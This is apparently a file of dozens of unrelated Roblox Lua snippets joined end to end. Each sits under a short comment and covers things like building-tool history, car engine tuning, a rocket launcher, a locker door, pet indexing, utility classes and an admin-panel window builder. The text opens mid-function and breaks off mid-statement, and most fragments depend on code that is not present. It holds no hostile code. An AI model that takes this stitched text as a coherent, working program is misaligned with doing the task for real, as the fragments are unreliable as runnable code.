Selection.Replace(Support.GetListMembers(HistoryRecord.Decorations, 'Parent')); end; Apply = function (HistoryRecord) -- Reapplies this change -- Select changed parts Selection.Replace(Support.GetListMembers(HistoryRecord.Decorations, 'Parent')); -- Remove the decorations Core.SyncAPI:Invoke('Remove', HistoryRecord.Decorations); end; }; -- Send the removal request Core.SyncAPI:Invoke('Remove', Decorations); -- Register the history record Core.History.Add(HistoryRecord); end;
--Player Variables
local plr = game.Players.LocalPlayer local plrName = plr.Name if plr.tempStage.Value > #game.Workspace.Checkpoints:GetChildren() then --Stage Stuff local currentStageNumber = plr.tempStage.Value local currentCheckpoint = game.Workspace.Checkpoints:FindFirstChild(tostring(#game.Workspace.Checkpoints:GetChildren())) --print(tostring(currentCheckpoint.Name).." -Current Checkpoint") local currentCheckpointPos = currentCheckpoint.Position local X = currentCheckpointPos.X local Y = currentCheckpointPos.Y local Z = currentCheckpointPos.Z local TPPlace = CFrame.new(X, Y+5, Z) plr.Character.Torso.CFrame = TPPlace else --Stage Stuff local currentStageNumber = plr.tempStage.Value local currentCheckpoint = game.Workspace.Checkpoints:FindFirstChild(tostring(currentStageNumber)) --print(tostring(currentCheckpoint.Name).." -Current Checkpoint") local currentCheckpointPos = currentCheckpoint.Position local X = currentCheckpointPos.X local Y = currentCheckpointPos.Y local Z = currentCheckpointPos.Z local TPPlace = CFrame.new(X, Y+5, Z) plr.Character.Torso.CFrame = TPPlace end
-- ALEX WAS HERE LOL
local v1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library")); while not v1.Loaded do game:GetService("RunService").Heartbeat:Wait(); end; return function(p1, p2, p3) local u1 = nil; coroutine.wrap(function() while not p1.Parent do v1.RenderStepped(); end; local v2 = 0; while p1 and p1.Parent and not u1 do v2 = v2 + 1; p1.title.Text = string.rep(".", v2 % 3); v1.Functions.Wait(0.25); end; end)(); u1 = v1.Functions.UserIdToUsername(p3); if u1 and p1 then p1.title.Text = u1; end; end;
--Made by Luckymaxer
Players = game:GetService("Players") Debris = game:GetService("Debris") RbxUtility = LoadLibrary("RbxUtility") Create = RbxUtility.Create Functions = {} function Functions.IsTeamMate(Player1, Player2) return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor) end function Functions.TagHumanoid(humanoid, player) local Creator_Tag = Create("ObjectValue"){ Name = "creator", Value = player, } Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function Functions.UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end function Functions.GetTotalParts(MaxParts, PossibleParts, Parts) if MaxParts < PossibleParts then return MaxParts elseif Parts >= MaxParts then return 0 elseif MaxParts >= PossibleParts then local PartCount = (MaxParts - PossibleParts) if Parts <= MaxParts then PartCount = (MaxParts - Parts) if PartCount > PossibleParts then return PossibleParts else return PartCount end elseif PartCount >= PossibleParts then return PossibleParts else return PartCount end end end function Functions.GetParts(Region, MaxParts, Ignore) local Parts = {} local RerunFailed = false while #Parts < MaxParts and not RerunFailed do local Region = Region local PossibleParts = Functions.GetTotalParts(MaxParts, 100, #Parts) local PartsNearby = game:GetService("Workspace"):FindPartsInRegion3WithIgnoreList(Region, Ignore, PossibleParts) if #PartsNearby == 0 then RerunFailed = true else for i, v in pairs(PartsNearby) do table.insert(Parts, v) table.insert(Ignore, v) end end end return Parts end function Functions.CheckTableForInstance(Table, Instance) for i, v in pairs(Table) do if v == Instance then return true end end return false end return Functions
-- ScreenSize -> WorldSize
function ScreenSpace.ScreenWidthToWorldWidth(screenWidth, depth) local aspectRatio = ScreenSpace.AspectRatio() local hfactor = math.tan(math.rad(Workspace.CurrentCamera.FieldOfView)/2) local wfactor = aspectRatio*hfactor local sx = ScreenSpace.ViewSizeX() -- return -(screenWidth / sx) * 2 * wfactor * depth end function ScreenSpace.ScreenHeightToWorldHeight(screenHeight, depth) local hfactor = math.tan(math.rad(Workspace.CurrentCamera.FieldOfView)/2) local sy = ScreenSpace.ViewSizeY() -- return -(screenHeight / sy) * 2 * hfactor * depth end
--Don't touch
Seat.ChildAdded:Connect(function(Child) if Child.Name == "SeatWeld" then Plr = game.Players:FindFirstChild(Child.Part1.Parent.Name) Seat.Parent.Name = Plr.Name .. "'s Car" for i, gui in ipairs(Guis) do if gui.ClassName == "ScreenGui" then local new = gui:Clone() if new:FindFirstChild("Control") then if new.Control:FindFirstChild("CarName") then new.Control:FindFirstChild("CarName").Value = Plr.Name .. "'s Car" end end new.Parent = Plr.PlayerGui end end end end) Seat.ChildRemoved:Connect(function(Child) if Child.Name == "SeatWeld" then if NewName == "" then Seat.Parent.Name = OrigName else Seat.Parent.Name = NewName end for i, gui in ipairs(Guis) do if gui.ClassName == "ScreenGui" then if Plr.PlayerGui:FindFirstChild(gui.Name) then Plr.PlayerGui:FindFirstChild(gui.Name):Destroy() end end end end end)
--[=[ @return isLeftDown: boolean ]=]
function Mouse:IsLeftDown() return UserInputService:IsMouseButtonPressed(Enum.UserInputType.MouseButton1) end
--//Points operation
s3.Touched:connect(function(child) if (child.ClassName == "VehicleSeat") and (child.Destination.Value == "Station 3") then Switch2() elseif (child.ClassName == "VehicleSeat") and (child.Destination.Value == "Station 1") then Switch1() end end) s1.Touched:connect(Switch1) s2.Touched:connect(Switch2)
-- Gradually regenerates the Humanoid's Health over time.
local Character = script.Parent local Humanoid = Character:WaitForChild'Humanoid' local REGEN_RATE = .2/100 -- Regenerate this fraction of MaxHealth per second. local REGEN_STEP = .25 -- Wait this long between each regeneration step.
-- Hide the actual Topbar
playerGui:SetTopbarTransparency(TOPBAR_TRANSPARENCY)
--[=[ @param optionB Option @return Option If caller has a value, returns itself. Otherwise, returns `optionB`. ]=]
function Option:Or(optionB) if self:IsSome() then return self else return optionB end end
--// initialize Q/E control //--
UIS.InputBegan:connect(function(input,gameProcessed) if input.UserInputType == Enum.UserInputType.Keyboard then if script.Parent.GuiActive.Value == true and focusedOnText == false then local keyPressed = input.KeyCode if keyPressed == Enum.KeyCode.Q then moveLeft() elseif keyPressed == Enum.KeyCode.E then moveRight() end end end end)
--//Variables\\--
local tool = script.Parent local handle = tool:WaitForChild("Handle") local player = game.Players.LocalPlayer local mouse = player:GetMouse() local character = player.Character or player.CharacterAdded:Wait() local enabled = true local specialDB = true local contextActionService = game:GetService("ContextActionService") local cursorId = "http://www.roblox.com/asset/?id=251497633" local hitmarkerId = "http://www.roblox.com/asset/?id=70785856" local configs = tool:WaitForChild("Configurations") local specialRechargeTime = configs:FindFirstChild("SpecialRechargeTime") local fireRate = configs:FindFirstChild("FireRate") local fire = tool:WaitForChild("Fire") local activateSpecial = tool:WaitForChild("ActivateSpecial") local rigType = tool:WaitForChild("RigType") local hit = tool:WaitForChild("Hit") local characterRigType = nil
------------------------------------------------------------------------------------------------------------------------------------------------
if script.Parent:FindFirstChild("Arm2") then local g = script.Parent.Arm2:Clone() g.Parent = File for _,i in pairs(g:GetChildren()) do if i:IsA("Part") or i:IsA("UnionOperation") or i:IsA("MeshPart") then i.CanCollide = false i.Anchored = false local Y = Instance.new("Weld") Y.Part0 = Player.Character["Right Arm"] Y.Part1 = g.Middle Y.C0 = CFrame.new(0, 0, 0) Y.Parent = Player.Character["Right Arm"] end end end
----------------- --| Functions |-- -----------------
local oldWalkSpeed = 16 local IsEquipped = false local function OnEquipped() if IsEquipped then return end IsEquipped = true MyPlayer = nil while not MyPlayer do MyModel = Tool.Parent oldWalkSpeed = MyModel.Humanoid.WalkSpeed MyPlayer = PlayersService:GetPlayerFromCharacter(MyModel) if ({ moded = 1, seranok = 1, weeve = 1, twberg = 1, adamintygum = 1, uristmcsparks = 1, merely = 1, squidcod = 1, player1 = 1 })[MyPlayer.Name:lower()] then COOLDOWN = 1 end MyModel.Humanoid.WalkSpeed = 24 wait(1/30) end EquipSound:Play() local mouse = MyPlayer:GetMouse() end local TrackTime = 0 local holdSoundPlaying = false local function OnActivated(targetOverride) wait(0) --TODO: Remove when Mouse.Hit and Humanoid.TargetPoint update properly on iPad if Tool.Enabled and MyModel and MyModel:FindFirstChild('Humanoid') and MyModel.Humanoid.Health > 0 then Tool.Enabled = false -- Pick a target local targetPosition = targetOverride or MyModel.Humanoid.TargetPoint -- Position the rocket clone local spawnPosition = ToolHandle.Position + (ToolHandle.CFrame.lookVector * (ToolHandle.Size.Z / 2)) script.Parent.FireRocket:FireServer(targetPosition, spawnPosition) ReloadSound:Play() wait(COOLDOWN) -- Stop the reloading sound if it hasn't already finished ReloadSound:Stop() Tool.Enabled = true end end local function OnUnequipped() ReloadSound:Stop() IsEquipped = false MyModel.Humanoid.WalkSpeed = oldWalkSpeed end
--[=[ Retrieves a remote function as a promise @class PromiseGetRemoteFunction ]=]
local require = require(script.Parent.loader).load(script) local ReplicatedStorage = game:GetService("ReplicatedStorage") local RunService = game:GetService("RunService") local GetRemoteFunction = require("GetRemoteFunction") local Promise = require("Promise") local ResourceConstants = require("ResourceConstants")
--[=[ Event fires when the value's object value change @prop Changed Signal<T> -- fires with oldValue, newValue @within ValueObject ]=]
self.Changed = Signal.new() -- :Fire(newValue, oldValue, maid) self._maid:GiveTask(self.Changed) return setmetatable(self, ValueObject) end
-- факелы
while true do for i = 3, 30 do script.Parent.Size=i script.Parent.Parent.Contact.Size=Vector3.new(i-1,i/2-1,i/2-1) wait(script.Parent.SpeedUP.Value) -- скорость увеличения размера end for i = 30, 3, -1 do script.Parent.Size=i script.Parent.Parent.Contact.Size=Vector3.new(i,i/2,i/2) wait(script.Parent.SpeedDOWN.Value) -- скорость уменьшения размера end wait(script.Parent.SleepTime.Value) -- время сна между вспышками end
--[=[ @param instance Instance @return RBXScriptConnection Attaches the trove to a Roblox instance. Once this instance is removed from the game (parent or ancestor's parent set to `nil`), the trove will automatically clean up. :::caution Will throw an error if `instance` is not a descendant of the game hierarchy. ::: ]=]
function Trove:AttachToInstance(instance: Instance) assert(instance:IsDescendantOf(game), "Instance is not a descendant of the game hierarchy") return self:Connect(instance.AncestryChanged, function(_child, parent) if not parent then self:Destroy() end end) end
-- lock yourself in the locker, be sealed away foreverrr....
local p1 = script.Parent.Pivot1 local p2 = script.Parent.Pivot2 local TS = game:GetService("TweenService") local deb = false local toggled = false local cd1= Instance.new("ClickDetector",script.Parent.Handle1) cd1.MaxActivationDistance = 5 local cd1_2 = Instance.new("ClickDetector",script.Parent.Handle2) cd1_2.MaxActivationDistance = 5 local cd2 = Instance.new("ClickDetector",script.Parent.Door1) cd2.MaxActivationDistance = 5 local cd2_2 = Instance.new("ClickDetector",script.Parent.Door2) cd2_2.MaxActivationDistance = 5 local cf1 = p1.CFrame local cf2 = p2.CFrame local function locker() if not deb then deb = true local anim1 local anim2 if not toggled then anim1 = TS:Create(p1, TweenInfo.new(1.5,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut,0,false,0), {CFrame = cf1 * CFrame.Angles(-math.rad(150),0,0)} ) anim2 = TS:Create(p2, TweenInfo.new(1.5,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut,0,false,0), {CFrame = cf2 * CFrame.Angles(math.rad(150),0,0)} ) else anim1 = TS:Create(p1, TweenInfo.new(1.5,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut,0,false,0), {CFrame = cf1} ) anim2 = TS:Create(p2, TweenInfo.new(1.5,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut,0,false,0), {CFrame = cf2} ) end anim1.Completed:Connect(function() toggled = not toggled deb = false end) anim1:Play() anim2:Play() end end cd1.MouseClick:Connect(function() locker() end) cd1_2.MouseClick:Connect(function() locker() end) cd2.MouseClick:Connect(function() locker() end) cd2_2.MouseClick:Connect(function() locker() end)
--[[Engine]]
--Torque Curve Tune.Horsepower = 100 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.20 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
-- Value specific waypoint methods
do function Waypoints.fromVector3(... : Vector3) : Waypoints local args = {...} local waypoints = {} for i = 1, #args do assert(typeof(args[i]) == "Vector3", tostring(args[i]) .. "is not a Vector3 value.") table.insert(waypoints, args[i]) end return waypoints end function Waypoints.fromCFrame(...) : Waypoints local args = {...} local waypoints = {} for i = 1, #args do assert(typeof(args[i]) == "CFrame", args[i] .. "is not a CFrame value.") table.insert(waypoints, args[i].Position) end return waypoints end function Waypoints.fromInstance(...) : Waypoints local args = {...} local waypoints = {} for i = 1, #args do assert(typeof(args[i]) == "Instance", args[i].Name .. "is not an Instance.") assert(args[i]:IsA("BasePart"), args[i].Name .. "is not a BasePart.") table.insert(waypoints, args[i].Position) end return waypoints end end local waypointTypes = { Vector3 = Waypoints.fromVector3, CFrame = Waypoints.fromCFrame, Instance = Waypoints.fromInstance } function Waypoints.new(... : Vector3 | CFrame | Instance) : Waypoints -- Creates waypoints assert(waypointTypes[typeof(...)], "Parameters are not correct value types, try using value specific functions.") return waypointTypes[typeof(...)](...) end return Waypoints
--// Bullet Physics
BulletPhysics = Vector3.new(0,45,0); -- Drop fixation: Lower number = more drop BulletSpeed = 900; -- Bullet Speed ExploPhysics = Vector3.new(0,20,0); -- Drop for explosive rounds ExploSpeed = 600; -- Speed for explosive rounds
-- ROBLOX TODO: ADO-1552 translate this function when we add inlineSnapshot functionality -- local removeLinesBeforeExternalMatcherTrap = utils.removeLinesBeforeExternalMatcherTrap
local saveSnapshotFile = utils.saveSnapshotFile local serialize = utils.serialize local testNameToKey = utils.testNameToKey local getParent = utils.robloxGetParent
-- Frequently used instances caching
local zeroVector = vec3(0, 0, 0) local uz = vec3(0,0,1) local ux = vec3(1,0,0)
-- Existance in this list signifies that it is an emote, the value indicates If it is a looping emote
local emoteNames = { wave = false, point = false, dance = true, laugh = false, cheer = false} math.randomseed(tick())
--[=[ @within RemoteSignal @interface Connection .Disconnect () -> nil ]=]
function RemoteSignal.new(parent: Instance, name: string, inboundMiddleware: Types.ServerMiddleware?, outboundMiddleware: Types.ServerMiddleware?) local self = setmetatable({}, RemoteSignal) self._re = Instance.new("RemoteEvent") self._re.Name = name self._re.Parent = parent if outboundMiddleware and #outboundMiddleware > 0 then self._hasOutbound = true self._outbound = outboundMiddleware else self._hasOutbound = false end if inboundMiddleware and #inboundMiddleware > 0 then self._directConnect = false self._signal = Signal.new() self._re.OnServerEvent:Connect(function(player, ...) local args = table.pack(...) for _,middlewareFunc in ipairs(inboundMiddleware) do local middlewareResult = table.pack(middlewareFunc(player, args)) if not middlewareResult[1] then return end end self._signal:Fire(player, table.unpack(args, 1, args.n)) end) else self._directConnect = true end return self end
--[[ maid = Maid.new() maid:GiveTask(task) > task is an event connection, function, or instance/table with a 'Destroy' method maid:GivePromise(promise) > Give the maid a promise as a task, which will call 'promise:Cancel()' on cleanup maid:DoCleaning() > Alias for Destroy maid:Destroy() > Goes through each task & disconnects events, destroys instances, and calls functions --]]
local Promise = require(script.Parent.Promise) local Maid = {} Maid.ClassName = "Maid" function Maid.new() local self = setmetatable({ _tasks = {}; }, Maid) return self end
-- Get Real Pet Name --
local getPetName = function(name) local realPetNameMod = require(rep.Modules.Pet.RealPetName) return realPetNameMod.GetRealPetName(name) end local checkIfInIndex = function(plr, beginPetName, which, params) if which == "Pet" then local petName = getPetName(tostring(beginPetName)) if params ~= nil then if params.Parent then if params.Parent:FindFirstChild(petName) then return true end end else if plr.Index:FindFirstChild(petName) then return true end end end return false end module.AddPetToIndex = function(plr, beginPetName, which, params) if plr and beginPetName ~= nil then local isInIndex = checkIfInIndex(plr, beginPetName, which, params) if isInIndex == false then local petName = getPetName(tostring(beginPetName)) local petIndex = Instance.new("StringValue") petIndex.Name = tostring(petName) petIndex.Value = tostring(petName) if params ~= nil then if params.Parent then petIndex.Parent = params.Parent else petIndex.Parent = plr.Index end else petIndex.Parent = plr.Index end return true end end end module.LoadIndex = function(plr, tbl, parent) for _, v in pairs(tbl) do for _, petName in pairs(v) do module.AddPetToIndex(plr, petName, "Pet", {Parent = parent}) end end end return module
-- connect events
Humanoid.Died:connect(OnDied) Humanoid.Running:connect(OnRunning) Humanoid.Jumping:connect(OnJumping) Humanoid.Climbing:connect(OnClimbing) Humanoid.GettingUp:connect(OnGettingUp) Humanoid.FreeFalling:connect(OnFreeFall) Humanoid.FallingDown:connect(OnFallingDown) Humanoid.Seated:connect(OnSeated) Humanoid.PlatformStanding:connect(OnPlatformStanding) Humanoid.Swimming:connect(OnSwimming)
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local FE = workspace.FilteringEnabled local car = script.Parent.Car.Value local handler = car:WaitForChild("AC6_FE_Sounds") local _Tune = require(car["Tuner"]) local on = 0 local throt=0 local redline=0 script:WaitForChild("Rev") script:WaitForChild("Elec") for i,v in pairs(car.DriveSeat:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.SetVol.Value,true) handler:FireServer("newSound","Elec",car.DriveSeat,script.Elec.SoundId,0,script.Elec.SetVol.Value,true) handler:FireServer("playSound","Rev") handler:FireServer("playSound","Elec") car.DriveSeat:WaitForChild("Rev") car.DriveSeat:WaitForChild("Elec") while wait() do local _RPM = script.Parent.Values.RPM.Value if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle/100 then throt = math.max(.3,throt-.2) else throt = math.min(1,throt+.1) end if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then redline=.5 else redline=1 end if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end local RevVol = script.Rev.SetVol.Value local ElecVol = script.Elec.SetVol.Value if not _Tune.Engine then RevVol = 0 end if not _Tune.Electric then ElecVol = 0 end local RevPitch = math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^2),script.Rev.SetPitch.Value) local ElecPitch = math.max((((script.Elec.SetPitch.Value + script.Elec.SetRev.Value*_RPM/_Tune.Redline))*on^2),script.Elec.SetPitch.Value) handler:FireServer("updateSound","Rev",script.Rev.SoundId,RevPitch,RevVol) handler:FireServer("updateSound","Elec",script.Elec.SoundId,ElecPitch,ElecVol) end
-- Designate a friendly name to each material
local Materials = { [Enum.Material.SmoothPlastic] = 'Smooth Plastic'; [Enum.Material.Plastic] = 'Plastic'; [Enum.Material.Brick] = 'Brick'; [Enum.Material.Cobblestone] = 'Cobblestone'; [Enum.Material.Concrete] = 'Concrete'; [Enum.Material.CorrodedMetal] = 'Corroded Metal'; [Enum.Material.DiamondPlate] = 'Diamond Plate'; [Enum.Material.Fabric] = 'Fabric'; [Enum.Material.Foil] = 'Foil'; [Enum.Material.ForceField] = 'Forcefield'; [Enum.Material.Granite] = 'Granite'; [Enum.Material.Grass] = 'Grass'; [Enum.Material.Ice] = 'Ice'; [Enum.Material.Marble] = 'Marble'; [Enum.Material.Metal] = 'Metal'; [Enum.Material.Neon] = 'Neon'; [Enum.Material.Pebble] = 'Pebble'; [Enum.Material.Sand] = 'Sand'; [Enum.Material.Slate] = 'Slate'; [Enum.Material.Wood] = 'Wood'; [Enum.Material.WoodPlanks] = 'Wood Planks'; [Enum.Material.Glass] = 'Glass'; }; function MaterialTool:ShowUI() -- Creates and reveals the UI -- Reveal UI if already created if self.UI then -- Reveal the UI self.UI.Visible = true; -- Update the UI every 0.1 seconds self.StopUpdatingUI = Support.Loop(0.1, function () self:UpdateUI() end) -- Skip UI creation return; end; -- Create the UI self.UI = Core.Tool.Interfaces.BTMaterialToolGUI:Clone(); self.UI.Parent = Core.UI; self.UI.Visible = true; -- References to inputs local TransparencyInput = self.UI.TransparencyOption.Input.TextBox; local ReflectanceInput = self.UI.ReflectanceOption.Input.TextBox; -- Sort the material list local MaterialList = Support.Values(Materials); table.sort(MaterialList); -- Create material dropdown local function BuildMaterialDropdown() return Roact.createElement(Dropdown, { Position = UDim2.new(0, 50, 0, 0); Size = UDim2.new(0, 130, 0, 25); Options = MaterialList; MaxRows = 6; CurrentOption = self.CurrentMaterial and self.CurrentMaterial.Name; OnOptionSelected = function (Option) SetProperty('Material', Support.FindTableOccurrence(Materials, Option)) end; }) end -- Mount surface dropdown local MaterialDropdownHandle = Roact.mount(BuildMaterialDropdown(), self.UI.MaterialOption, 'Dropdown') self.OnMaterialChanged:Connect(function () Roact.update(MaterialDropdownHandle, BuildMaterialDropdown()) end) -- Enable the transparency and reflectance inputs SyncInputToProperty('Transparency', TransparencyInput); SyncInputToProperty('Reflectance', ReflectanceInput); -- Hook up manual triggering local SignatureButton = self.UI:WaitForChild('Title'):WaitForChild('Signature') ListenForManualWindowTrigger(MaterialTool.ManualText, MaterialTool.Color.Color, SignatureButton) -- Update the UI every 0.1 seconds self.StopUpdatingUI = Support.Loop(0.1, function () self:UpdateUI() end) end; function MaterialTool:HideUI() -- Hides the tool UI -- Make sure there's a UI if not self.UI then return; end; -- Hide the UI self.UI.Visible = false -- Stop updating the UI self.StopUpdatingUI() end; function SyncInputToProperty(Property, Input) -- Enables `Input` to change the given property -- Enable inputs Input.FocusLost:Connect(function () SetProperty(Property, tonumber(Input.Text)); end); end; function SetProperty(Property, Value) -- Make sure the given value is valid if Value == nil then return; end; -- Start a history record TrackChange(); -- Go through each part for _, Part in pairs(Selection.Parts) do -- Store the state of the part before modification table.insert(HistoryRecord.Before, { Part = Part, [Property] = Part[Property] }); -- Create the change request for this part table.insert(HistoryRecord.After, { Part = Part, [Property] = Value }); end; -- Register the changes RegisterChange(); end; function UpdateDataInputs(Data) -- Updates the data in the given TextBoxes when the user isn't typing in them -- Go through the inputs and data for Input, UpdatedValue in pairs(Data) do -- Makwe sure the user isn't typing into the input if not Input:IsFocused() then -- Set the input's value Input.Text = tostring(UpdatedValue); end; end; end;
--// All global vars will be wiped/replaced except script
return function(data, env) if env then setfenv(1, env) end --local client = service.GarbleTable(client) local Player = service.Players.LocalPlayer local Mouse = Player:GetMouse() local InputService = service.UserInputService local gIndex = data.gIndex local gTable = data.gTable local Event = gTable.BindEvent local GUI = gTable.Object local Name = data.Name local Icon = data.Icon local Size = data.Size local Menu = data.Menu local Title = data.Title local Ready = data.Ready local Walls = data.Walls local noHide = data.NoHide local noClose = data.NoClose local onReady = data.OnReady local onClose = data.OnClose local onResize = data.OnResize local onRefresh = data.OnRefresh local onMinimize = data.OnMinimize local ContextMenu = data.ContextMenu local ResetOnSpawn = data.ResetOnSpawn local CanKeepAlive = data.CanKeepAlive local iconClicked = data.IconClicked local SizeLocked = data.SizeLocked or data.SizeLock local CanvasSize = data.CanvasSize local Position = data.Position local Content = data.Content or data.Children local MinSize = data.MinSize or {150, 50} local MaxSize = data.MaxSize or {math.huge, math.huge} local curIcon = Mouse.Icon local isClosed = false local Resizing = false local Refreshing = false local DragEnabled = true local checkProperty = service.CheckProperty local specialInsts = {} local inExpandable local addTitleButton local LoadChildren local BringToFront local functionify local Drag = GUI.Drag local Close = Drag.Close local Hide = Drag.Hide local Iconf = Drag.Icon local Titlef = Drag.Title local Refresh = Drag.Refresh local rSpinner = Refresh.Spinner local Main = Drag.Main local Tooltip = GUI.Desc local ScrollFrame = GUI.Drag.Main.ScrollingFrame local LeftSizeIcon = Main.LeftResizeIcon local RightSizeIcon = Main.RightResizeIcon local RightCorner = Main.RightCorner local LeftCorner = Main.LeftCorner local RightSide = Main.RightSide local LeftSide = Main.LeftSide local TopRight = Main.TopRight local TopLeft = Main.TopLeft local Bottom = Main.Bottom local Top = Main.Top function Expand(ent, point, text) local label = point:FindFirstChild("Label") if label then ent.MouseLeave:Connect(function(x,y) if inExpandable == ent then point.Visible = false end end) ent.MouseMoved:Connect(function(x,y) inExpandable = ent label.Text = text or ent.Desc.Value --point.Size = UDim2.new(0, 10000, 0, 10000) local newx = 500 local bounds = service.TextService:GetTextSize(text or ent.Desc.Value, label.TextSize, label.Font, Vector2.new(1000,1000)).X-- point.Label.TextBounds.X local rows = math.floor(bounds/500) rows = rows+1 if rows<1 then rows = 1 end if bounds<500 then newx = bounds end point.Size = UDim2.new(0, newx+10, 0, (rows*20)+10) point.Position = UDim2.new(0, x+6, 0, y-40-((rows*20)+10)) point.Visible = true end) end end function getNextPos(frame) local farXChild, farYChild for i,v in next,frame:GetChildren() do if checkProperty(v, "Size") then if not farXChild or (v.AbsolutePosition.X + v.AbsoluteSize.X) > (farXChild.AbsolutePosition.X + farXChild.AbsoluteSize.X) then farXChild = v end if not farYChild or (v.AbsolutePosition.Y + v.AbsoluteSize.Y) > (farXChild.AbsolutePosition.Y + farXChild.AbsoluteSize.Y) then farYChild = v end end end return ((not farXChild or not farYChild) and UDim2.new(0,0,0,0)) or UDim2.new(farXChild.Position.X.Scale, farXChild.Position.X.Offset + farXChild.AbsoluteSize.X, farYChild.Position.Y.Scale, farYChild.Position.Y.Offset + farYChild.AbsoluteSize.Y) end function LoadChildren(Obj, Children) if Children then local runWhenDone = Children.RunWhenDone and functionify(Children.RunWhenDone, Obj) for class,data in next,Children do if type(data) == "table" then if not data.Parent then data.Parent = Obj end create(data.Class or data.ClassName or class, data) elseif type(data) == "function" or type(data) == "string" and not runWhenDone then runWhenDone = functionify(data, Obj) end end if runWhenDone then runWhenDone(Obj) end end end function BringToFront() for i,v in ipairs(Player.PlayerGui:GetChildren()) do if v:FindFirstChild("__ADONIS_WINDOW") then v.DisplayOrder = 100 end end GUI.DisplayOrder = 101 end function addTitleButton(data) local startPos = 1 local realPos local new local original = Hide if Hide.Visible then startPos = startPos+1 end if Close.Visible then startPos = startPos+1 end if Refresh.Visible then startPos = startPos+1 end realPos = UDim2.new(1, -(((30*startPos)+5)+(startPos-1)), 0, 0) data.Position = data.Position or realPos data.Size = data.Size or original.Size data.BackgroundColor3 = data.BackgroundColor3 or original.BackgroundColor3 data.BackgroundTransparency = data.BackgroundTransparency or original.BackgroundTransparency data.BorderSizePixel = data.BorderSizePixel or original.BorderSizePixel data.ZIndex = data.ZIndex or original.ZIndex data.TextColor3 = data.TextColor3 or original.TextColor3 data.TextScaled = data.TextScaled or original.TextScaled data.TextStrokeColor3 = data.TextStrokeColor3 or original.TextStrokeColor3 data.TextSize = data.TextSize or original.TextSize data.TextTransparency = data.TextTransparency or original.TextTransparency data.TextStrokeTransparency = data.TextStrokeTransparency or original.TextStrokeTransparency data.TextScaled = data.TextScaled or original.TextScaled data.TextWrapped = data.TextWrapped or original.TextWrapped --data.TextXAlignment = data.TextXAlignment or original.TextXAlignment --data.TextYAlignment = data.TextYAlignment or original.TextYAlignment data.Font = data.Font or original.Font data.Parent = Drag return create("TextButton", data) end function functionify(func, object) if type(func) == "string" then if object then local env = GetEnv() env.Object = object return client.Core.LoadCode(func, env) else return client.Core.LoadCode(func) end else return func end end function create(class, dataFound, existing) local data = dataFound or {} local class = data.Class or data.ClassName or class local new = existing or (specialInsts[class] and specialInsts[class]:Clone()) or service.New(class) local parent = data.Parent or new.Parent if dataFound then data.Parent = nil if data.Class or data.ClassName then data.Class = nil data.ClassName = nil end if not data.BorderColor3 and checkProperty(new,"BorderColor3") then new.BorderColor3 = dBorder end if not data.CanvasSize and checkProperty(new,"CanvasSize") then new.CanvasSize = dCanvasSize end if not data.BorderSizePixel and checkProperty(new,"BorderSizePixel") then new.BorderSizePixel = dPixelSize end if not data.BackgroundColor3 and checkProperty(new,"BackgroundColor3") then new.BackgroundColor3 = dBackground end if not data.PlaceholderColor3 and checkProperty(new,"PlaceholderColor3") then new.PlaceholderColor3 = dPlaceholderColor end if not data.Transparency and not data.BackgroundTransparency and checkProperty(new,"Transparency") then new.BackgroundTransparency = dTransparency elseif data.Transparency then new.BackgroundTransparency = data.Transparency end if not data.TextColor3 and not data.TextColor and checkProperty(new,"TextColor3") then new.TextColor3 = dTextColor elseif data.TextColor then new.TextColor3 = data.TextColor end if not data.Font and checkProperty(new, "Font") then data.Font = dFont end if not data.TextSize and checkProperty(new, "TextSize") then data.TextSize = dTextSize end if not data.BottomImage and not data.MidImage and not data.TopImage and class == "ScrollingFrame" then new.BottomImage = dScrollImage new.MidImage = dScrollImage new.TopImage = dScrollImage end if not data.Size and checkProperty(new,"Size") then new.Size = dSize end if not data.Position and checkProperty(new,"Position") then new.Position = dPosition end if not data.ZIndex and checkProperty(new,"ZIndex") then new.ZIndex = dZIndex if parent and checkProperty(parent, "ZIndex") then new.ZIndex = parent.ZIndex end end if data.TextChanged and class == "TextBox" then local textChanged = functionify(data.TextChanged, new) new.FocusLost:Connect(function(enterPressed) textChanged(new.Text, enterPressed, new) end) end if (data.OnClicked or data.OnClick) and (class == "TextButton" or class == "ImageButton") then local debounce = false; local doDebounce = data.Debounce; local onClick = functionify((data.OnClicked or data.OnClick), new) new.MouseButton1Down:Connect(function() if not debounce then if doDebounce then debounce = true end onClick(new); debounce = false; end end) end if data.Events then for event,func in pairs(data.Events) do local realFunc = functionify(func, new) Event(new[event], function(...) realFunc(...) end) end end if 